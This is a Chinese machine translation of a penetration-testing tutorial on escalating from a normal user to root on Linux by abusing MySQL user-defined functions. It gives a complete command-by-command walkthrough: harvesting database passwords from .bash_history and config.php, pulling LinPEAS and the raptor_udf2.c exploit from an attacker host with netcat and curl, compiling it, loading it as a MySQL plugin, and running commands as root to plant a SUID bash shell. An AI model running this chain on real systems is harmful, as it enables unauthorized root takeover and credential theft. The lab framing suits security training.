本文透過 Google 翻譯 MySQL User Defined Functions – Linux Privilege Escalation 這篇文章所產生,本人僅是對機器翻譯中部分表達彆扭的字詞進行了校正及個別註釋補充。
導航
- 0 前言
- 1 什麼是使用者定義函式 (UDF) ?
- 2 列舉 UDF 漏洞利用條件
- 2.1 手動列舉 UDF 漏洞利用條件
- 2.1.1 尋找資料庫憑證
- 2.2 工具列舉 UDF 漏洞利用條件
- 2.3 登入 MySQL 進一步列舉
- 2.1 手動列舉 UDF 漏洞利用條件
- 3 定位、下載和編譯 UDF 漏洞
- 3.1 下載 raptor_udf2.c 副本
- 3.2 編譯 raptor_udf2.c 副本
- 4 使用 UDF 漏洞獲取 Root Shell
0、前言
在本篇文章中,我們將學習如何透過濫用 MySQL 中的使用者定義函式 (UDF) 來提升我們在 Linux 目標機上的許可權。透過發現一些錯誤的配置選項並找到 MySQL 資料庫的密碼,攻擊者可以利用 UDF 漏洞從標準使用者提升到 root 使用者。讓我們來看看是如何做到的!
首先,我們將在一臺受害 Linux 主機上手動列舉該漏洞利用的必要條件。接下來,我們將透過兩種不同的方式尋找資料庫密碼。然後,我們將瞭解如何利用一款名為 LinPEAS 的優秀工具,自動為我們列舉所有條件,併為我們找到密碼。然後,我們將訪問 MySQL 資料庫並進一步列舉,以確定我們有能力在這臺主機上濫用 UDF。最後,我們將製作漏洞利用程式,並按照 C 檔案註釋中的步驟執行命令,最終獲得 root shell。
1、什麼是使用者定義函式 (UDF)?
使用者定義函式(即UDF)是一種透過建立或新增像內建 MySQL 函式一樣的新函式來擴充套件 MySQL 功能的方法。
透過使用 UDF,我們可以建立“本地命令”程式碼,以便在 MySQL 宿主機的作業系統上執行。為此,我們需要編寫一個庫(通常是 C/C++),將庫編譯成共享物件,然後將共享物件放入外掛目錄,最後在 MySQL 中建立一個函式來執行我們的共享物件檔案。
作為攻擊者,我們需要對此進行分解,並思考如何加以濫用。考慮到我們在 MySQL 內部建立了一個函式,用於在 MySQL 服務宿主機的檔案系統上執行命令,我們如何利用這個函式進行惡意攻擊應該是顯而易見的,尤其是如果我們能以 root 身份執行命令的話。
2、列舉 UDF 漏洞利用條件
在此示例中,我們作為標準使用者“Juggernaut”在 Linux (Ubuntu 16.04) 目標上獲得了立足點。
由於這個 shell 不是使用 SSH 建立的,因此我們在獲得立足點後要做的第一件事就是將 shell 升級到完整的 TTY(如果可以的話)。我們可以使用以下命令來完成此操作:
python -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z
stty raw -echo;fg
現在我們有了完整的 TTY,我們可以使用箭頭瀏覽命令歷史記錄、使用製表符補全、清除終端等。
當您嘗試直接在受害者主機上訪問 MySQL 時,上述步驟非常重要。如果您不升級到完整 TTY,您將不會看到密碼提示,因為它是互動式的。
這也意味著如果沒有完整的 TTY,便無法透過受害主機 Shell 正常登入 MySQL,此時要與該 MySQL 互動就需要透過隧道進行埠轉發流量,然後透過攻擊機本機的MySQL 客戶端進行連線互動。
完成這一步後,我們就可以開始集中精力進行列舉了。首先,我們將瞭解如何使用手動方法列舉所需的條件,然後使用 LinPEAS 自動查詢所有相同的資訊。要確定這種攻擊是否可行,我們需要找到很多東西,因此讓我們先進行一些手動列舉。
2.1、手動列舉 UDF 漏洞利用條件
要確定 MySQL 是否可以進行 UDF 攻擊,我們需要確定幾件事。首先,我們需要確定 MySQL 是否正在執行。預設情況下,MySQL 執行在 3306 埠上,並分配給 localhost (127.0.0.1)。這意味著該服務只能從目標主機本地訪問,外部無法訪問。不過,如果我們在最初的 nmap 掃描中發現 MySQL 可以從外部訪問,那麼這一步就已經完成了。
要檢查 MySQL 是否正在執行,我們可以使用以下 netstat 命令:
netstat -tulpn
這表明 MySQL 正在目標主機本地執行,因為本地地址是 127.0.0.1。
接下來,我們要找出誰是程序所有者(服務以誰的身份執行)。預設情況下,這將是 "mysql" 服務賬戶,但也可以將其更改為包括 root 使用者在內的任何使用者。
我們可以使用以下命令檢查服務所有者:
ps -ef | grep mysql
Amazing!我們發現 MySQL 服務(程序)的所有者是 root。這也讓我們知道,如果我們能夠發現可以透過資料庫超級使用者訪問該資料庫並且服務本身也有一些其他錯誤配置,那麼我們就能濫用 UDF,並以 root 身份執行作業系統命令!
好吧,我們發現該服務正在內部執行,並且以 root 身份執行,所以現在我們需要確定正在執行的版本。
mysql -V
從這個輸出中,我們最感興趣的是“Distrib”編號,在本例中為5.7.34,這對我們來說是個好訊息,因為我們將使用的 UDF 漏洞適用於 MySQL / MariaDB 版本 4.X 和 5.X 。
這個漏洞涵蓋多個版本的 MySQL,因為它針對的不是傳統意義上的漏洞。UDF 是一種預期功能,旨在允許從 MySQL 內部讀/寫宿主機檔案系統;然而,當 MySQL 服務/程序被錯誤配置(以root執行程序)或修改為允許過多訪問(可在外部登入訪問)或 "鬆散許可權 "時,我們就會發現自己處於可以利用此服務並提升訪問許可權的位置。
接下來,我們需要找到一種訪問資料庫的方法。為此,我們需要找到允許我們登入的憑據。
預設情況下,MySQL 伺服器的 root 密碼為空,因此我們首先應該嘗試不使用密碼登入,看看是否是這種情況。我們可以嘗試使用以下命令以 root 身份登入:
mysql -u root
這要麼讓我們直接進入,要麼告訴我們由於未提供密碼而導致訪問被拒絕。
在這裡我們可以看到root帳戶確實需要密碼。
在此需要明確的一點是,MySQL 的 "root" 賬戶只是 MySQL 服務的超級使用者賬戶,這與檔案系統上的 root 賬戶不同。
接下來,我們應該嘗試另一個常見的預設密碼,即 toor 。為了提示我們輸入密碼,我們需要將“-p”標誌傳遞到 mysql 命令中。
mysql -u root -p
在提示輸入密碼後,我們輸入了 "toor",但也無法進入!這意味著我們需要開始尋找密碼,希望能找到根密碼。
2.1.1、尋找資料庫憑證
我們可以在檔案系統的許多地方查詢憑據。我們在初始列舉和後列舉過程中發現的任何使用者名稱和/或密碼都應放入記事本中,這樣我們就可以在任何地方嘗試插入這些使用者名稱和密碼。
此外,還有一些特定的地方我們最有可能找到 MySQL 憑據。
首先,我們應該始終檢查當前使用者主目錄中的 .bash_history 檔案,以及我們有權訪問的任何其他使用者主目錄。這應該是我們進行漏洞挖掘後的首要步驟之一,因為它可以讓我們快速、輕鬆地獲勝。
cd /home && ls -l
在這裡我們可以看到 /home 目錄中只有一個使用者目錄,因此我們將從這裡開始。
如果此處有多個使用者目錄,請嘗試訪問所有目錄。您永遠不知道您可能會發現您有權訪問什麼...例如,另一個使用者的 bash 歷史檔案!請注意,我們在這裡沒有看到 root 的主配置檔案,因為 root 主配置檔案位於 /root。另外請注意,bash 歷史記錄檔案是隱藏的, 可以使用 ls -la 檢視
cd juggernaut && cat .bash_history
BOOM!在 bash 歷史檔案中,我們可以看到使用者嘗試直接在命令列上傳遞完整憑據來登入 MySQL。
root:SuperS3cureP@ssw0rd
我們通常會找到 MySQL 憑據的第二個地方是 webroot 目錄。它通常位於 /var/www,該目錄還包含我們在獲得立足點之前使用 gobuster 或 dirb 等工具對子目錄進行模糊測試時找到的網頁。
大多數情況下,我們會尋找配置 PHP 檔案。但是,我們也可以在許多可能的檔案型別中找到資料庫憑據,包括 TXT 檔案、bash 指令碼、其他指令碼、ZIP 檔案、其他壓縮檔案型別(tar、gz 等)、DB 檔案等等。
導航到 /var/www/,我們可以看到這裡有一些檔案,但“config.php”最為突出。
cd /var/www && ls -l
當我們檢查該檔案時,我們可以看到它用於以 root 身份訪問 MySQL 資料庫,並顯示明文使用者名稱和密碼。
現在我們有了使用者名稱和密碼,我們可以在受害機器上本地訪問資料庫;不過,在此之前,讓我們看看 LinPEAS 是如何自動列舉我們剛剛找到的所有內容。
2.2、工具列舉 UDF 漏洞利用條件
LinPEAS 是一款終極的後漏洞列舉工具,因為它提供了大量資訊。在受害者上執行它後,我們將看到透過手動列舉發現的所有相同內容,甚至更多。然而,在使用工具之前展示手動步驟非常重要,這樣我們才能理解輸出結果以及要查詢的內容。
如果您沒有 LinPEAS 的副本,您可以在這裡獲取一份。
一般來說,當我們執行 LinPEAS 時,我們將不帶引數執行以進行“所有檢查”,然後從上到下逐行梳理所有輸出。
執行完整掃描時的一個好技巧是將 PEAS 的輸出重定向到一個檔案,以便使用 grep 快速解析常見漏洞和關鍵字。
獲取 LinPEAS 的副本後,我們需要將副本傳輸給受害者。我們可以透過多種方式來完成此操作,但在本示例中,我們將使用 netcat。
從 linpeas.sh 所在的目錄中,我們可以在攻擊者計算機上執行以下命令,將檔案提供給受害者:
nc -nvlp 443 < linpeas.sh
回到受害者,我們需要導航到具有寫入許可權的資料夾,通常是我們的 home 目錄、/tmp 目錄或 /dev/shm 目錄。我個人喜歡 /dev/shm,因此我們將導航到那裡,然後使用以下命令下載 LinPEAS:
cd /dev/shm
nc 172.16.1.30 443 > linpeas.sh
當正確完成此操作後,我們應該看到受害者簽入到我們的攻擊者機器,並且兩個提示都會掛起。讓它靜置一分鐘,然後終止攻擊者計算機上的提示,這樣它就不會終止受害者上的 shell。
在這裡我們可以看到受害者 - 172.16.1.175,登入到了我們的攻擊者機器 - 172.16.1.30。大約一分鐘後,我們可以簡單地使用CTRL + C 來終止攻擊者計算機上的會話,並再次釋放受害者的提示。之後,我們需要使用 ls -l 檢查兩側的檔案,確保它們的大小相同(完整性完好),這將表明傳輸成功。
完美,一切都匹配!現在我們需要使用 chmod + x 或 chmod 755 授予檔案執行許可權。
好吧,剩下要做的就是執行指令碼,然後檢視輸出。
./linpeas.sh
向下滾動,我們發現第一個必要條件是 MySQL 程序在Processes、Crons、Timers、Services and Sockets 部分中以 root 身份執行。
進一步滾動,我們來到 Software Information 部分,在這裡我們可以看到正在執行的 MySQL 版本以及 LinPEAS 執行的一些檢查,以檢視 root 帳戶是否使用空白密碼或“root”或“toor”作為密碼。
繼續,我們到達 Interesting Files 部分,我們在其中找到 Web 檔案,其中 config.php 脫穎而出。
再往下,我們遇到了有趣的歷史檔案字串,並且發現了 MySQL 憑據,就像我們在 .bash_history 檔案中所做的那樣。
再往下一點,我們可以看到 LinPEAS 發現 config.php 檔案很有趣,並專門為此設定了一個檢查,在本例中,它恰好為我們轉儲了憑據!
在這種情況下,它沒有轉儲使用者名稱,但從 "db "部分,我們可以推斷出這是一個 DB 使用者。我們還可以檢查檔案以確定,因為我們知道這就是之前在 webroot 目錄中看到的 config.php 檔案。
Amazing! LinPEAS 確實是一頭野獸!它找到了我們手動列舉的所有內容,包括 MySQL root 使用者的密碼。
2.3、登入 MySQL 進一步列舉
現在我們已經找到了 MySQL root 使用者的使用者名稱和密碼,我們應該登入 MySQL 並執行進一步的列舉。
mysql -u root -p
當提示輸入密碼時,我們輸入 SuperS3cureP@ssw0rd,然後我們就可以訪問 MySQL。當密碼輸入正確後,我們將看到 mysql> 提示符。
由於我們是MySQL超級使用者(root),因此我們應該擁有該帳戶的完全訪問許可權;但是,我們可以使用以下命令確認這一點:
SHOW GRANTS;
這證實我們擁有所有許可權,這是我們作為 root 所期望的。不過,有時我們可能會遇到 MySQL 的非 root 賬戶憑據。在這種情況下,我們需要使用 SHOW GRANTS 來檢查我們擁有哪些許可權。我們也可能發現該賬戶不是 "root",但仍然是超級使用者。
我們還想知道 secure_file_priv 的位置。secure file priv 是 MySQL 中的一個設定,用於限制資料可以從哪裡寫入 MySQL。如果將其設定為我們沒有寫入許可權的資料夾,那麼一切都完了。我們可以使用以下命令檢查:
SHOW VARIABLES LIKE 'SECURE_FILE_PRIV';
幸運的是,我們可以看到這裡是空白的,這說明我們可以從系統中的任何檔案位置寫入 MySQL。
最後,在這裡我們還可以獲取外掛資料夾的位置。後面當我們製作漏洞並將其載入到 MySQL 時,這將非常重要。
SHOW VARIABLES LIKE 'PLUGIN_DIR';
外掛資料夾是預設共享物件所在的位置,也是唯一可以從中載入共享物件的資料夾。該資料夾由 root 擁有,但由於MySQL程序以 root 身份執行,所以當我們在 MySQL 內執行命令來移動我們的漏洞利用檔案時,這些操作將以 root 身份在實際檔案系統上執行,這將允許我們將檔案移動到歸 root 所屬的資料夾。
上面我們已經徹底列舉了 MySQL,現在我們可以進入攻擊的下一個階段。
3、定位、下載和編譯 UDF 漏洞
在此示例中,我們將使用 raptor_udf2.c UDF 漏洞利用,可以透過搜尋 exploit-db 或 GitHub 找到該漏洞。幸運的是,由於這個漏洞利用在exploit-db上,如果我們使用Kali,那麼這個漏洞就已經在我們的系統上。
3.1、下載 raptor_udf2.c 副本
為了定位 UDF 漏洞,我們可以使用名為 searchsploit 的工具,其語法如下:
searchsploit udf
在這裡我們看到有兩個 UDF 漏洞利用彼此相似。然而,較新的版本包括 MySQL 版本 5.x,也是我們將在此處使用的版本(1518.c)。
接下來,我們希望將其複製到我們的工作目錄中,以便我們可以在將其傳輸到受害者之前仔細檢視。
要將漏洞利用程式複製或映象到我們當前的工作目錄中,我們可以將 -m 開關與 searchsploit 一起使用,如下所示:
searchsploit -m 1518.c
為了真實性,我們將這個漏洞重新命名為 raptor_udf2.c,然後使用 head 命令檢視註釋。
mv 1518.c raptor_udf2.c
head -50 raptor_udf2.c
第一條註釋說明提到,當 MySQL 以 root 身份執行時,此漏洞可用於透過 MySQL 進行本地許可權升級,我們已經發現受害者就是這種情況。
接下來,它會告訴我們如何編譯和使用漏洞利用程式。我們需要針對當前機器對命令做一些修改。
現在我們已經找到了要使用的漏洞,我們需要將其下載到受害者上。
在攻擊者機器上,我們可以使用以下命令在工作目錄的埠 80 上設定 HTTP 伺服器:
python3 -m http.server 80
回到受害者,我們可以使用 cURL 或 wget 從攻擊者計算機下載檔案。在此示例中,我們將使用 cURL。
curl 172.16.1.30/raptor_udf2.c -o raptor_udf2.c
Perfect!我們現在已經找到了我們的漏洞並將其下載到受害者身上。接下來我們需要編譯它。
3.2、編譯 raptor_udf2.c 副本
編譯前首先需要檢查編譯環境。有幾種方法可以檢查受害者是否安裝了gcc 。
首先,我們可以嘗試執行 gcc 並看看它說了什麼。它要麼會說需要安裝,要麼會告訴您如何正確使用該命令。不管怎樣,這都會告訴我們 gcc 是否在系統上。至少,它告訴我們 gcc 是否在我們的 PATH 中。
gcc
這個錯誤告訴我們 gcc 已經安裝了,這就完美了!有了這些資訊,我們知道我們將能夠直接在受害者上編譯我們的漏洞利用程式。
如果 gcc 不在你的 PATH 中並且它說你需要安裝它,那麼不要立即放棄。您永遠不知道 gcc 是否 正好位於系統上不在您的 PATH 中的其他位置。雖然可能性不大,但應該進行檢查。
要查詢 系統上 gcc 的所有例項,我們可以使用 find 命令。
find / -iname "gcc" 2>/dev/null
我們可以看到這裡找到了很多 gcc 的例項 ,然而其中很多都是目錄。/usr/bin/gcc 是我們的 PATH 中的位置,這就是為什麼我們可以透過呼叫命令 gcc 來執行它 ,而不需要二進位制檔案的完整路徑。
同樣,如果我們發現 gcc 沒有安裝,我們應該進行上述搜尋,然後檢查每一個以確認 gcc 確實不在系統上,然後再放棄。
由於我們發現受害者上安裝了gcc ,因此我們可以繼續按照註釋中的步驟編譯漏洞利用程式。
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
當嘗試編譯此漏洞時,我們遇到錯誤,這種情況並不總是發生;但是,當出現這種情況時,它會提供有關如何解決問題的說明。
從輸出中,我們可以看到第一個命令有效並且建立了.o目標檔案,但在第二個命令中,提示該目標檔案無法用於建立共享物件,需要使用-fPIC重新編譯。由於問題源於目標檔案,因此我們需要將-fPIC新增到建立目標檔案時執行的第一個命令中。
為此,我們需要刪除我們建立的目標檔案並再次執行第一條命令,這次附帶 -fPIC。
rm raptor_udf2.o
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
這次沒有報錯,並且共享物件檔案(.so)檔案也已成功建立!
現在我們的漏洞已經建立,我們可以進入 MySQL,然後載入它並以 root 身份執行命令!
4、使用 UDF 漏洞獲取 Root Shell
至此,我們已經找到了漏洞利用的所有必要條件,如:MySQL以 root 身份執行、MySQL版本為5.x、MySQL超級使用者憑據、安全檔案許可權設定為NULL(空白)、成功編譯exploit。
到這裡,我們只需以超級使用者的身份訪問 MySQL,然後按照註釋中的步驟即可實現命令執行。
首先,我們將以 root 身份訪問 MySQL 服務並 use mysql 資料庫,建立一個名為“foo”的表,然後將 raptor_udf2.so 漏洞載入到該表中。再次強調,我們不能僅僅從評論中複製貼上,我們需要編輯與受害者和我們的漏洞位置相關的命令(/tmp)。
mysql -u root -p
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
好吧…第一步已成功執行。現在我們需要做的就是將表 "foo "中的漏洞載入到 dumpfile 中,這基本上就是將檔案複製到外掛目錄中,以便將共享物件的功能整合到 MySQL 中。之後,剩下的工作就是建立一個使用共享物件的函式,然後在獲得 root shell 之前執行 POC 命令!
之前,在我們最初的列舉中,我們檢查了外掛目錄。這對於這一步很重要,因為我們的外掛資料夾位置與註釋中的位置不同。
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
在這裡我們可以看到我們又遇到了一個錯誤!一般來說,這會正常工作,不會出現任何錯誤;然而,在極少數情況下確實會發生這種情況,實際上有一個非常簡單的修復方法。由於該服務以 root 身份執行,因此我們只需在 MySQL 中執行簡單的複製即可將漏洞利用程式複製到外掛目錄中。
快速檢查外掛目錄,我們可以看到,出現錯誤的原因是因為檔案被轉儲到外掛目錄中的位元組大小為 1。
要從資料庫內部複製檔案,我們可以使用以下命令:
\! cp /tmp/raptor_udf2.so /usr/lib/mysql/plugin
現在,如果我們將會話置於後臺(CTRL + Z),我們將看到該檔案已以正確的位元組數新增到外掛目錄中。
現在問題都解決了,我們可以再次嘗試建立函式。這次應該不會出錯了,因為檔案的位元組數是正確的。
成功了!我們可以使用以下命令確認該函式已成功建立:
select * from mysql.func;
Perfect!這證實一切都已就位,並準備好讓我們對共享物件檔案進行惡意攻擊!
對於 POC,我們可以使用以下命令建立一個 txt 檔案,該檔案將確認我們以 root 身份執行命令:
select do_system('whoami > /tmp/whoami.txt');
雖然它顯示“0”,但執行成功,透過再次將會話置於後臺,我們可以在 /tmp 中看到 TXT 檔案,並且它屬於 root!
Amazing! POC 成功,我們正式以 root 身份執行命令!現在我們可以使用 1-liner 將反向 shell 傳送回攻擊者,或者我們可以做一些更簡單的事情,只需將 bash 二進位制檔案複製到 /tmp 資料夾中並在其上設定 SUID 位。
select do_system('cp /bin/bash /tmp/bash ; chmod +s /tmp/bash');
這次,當我們再次檢查 /tmp 目錄時,我們看到 bash 的副本現在位於 /tmp 資料夾中,該資料夾由 root 擁有並設定了 SUID 位。
SUID(執行時設定所有者使用者 ID)是一種特殊的檔案許可權。通常情況下,當你執行一個程式時,它會以你當前的使用者身份執行。但當一個程式設定了 SUID 位,程式就會以該檔案所有者的身份執行!基本上,root 擁有的 SUID 二進位制檔案將以 root 的身份執行,無需使用 sudo。
最後,要進入 root shell,我們可以簡單地使用以下命令:
/tmp/bash -p
就這樣…我們得到了 root shell,現在可以完全控制受害者!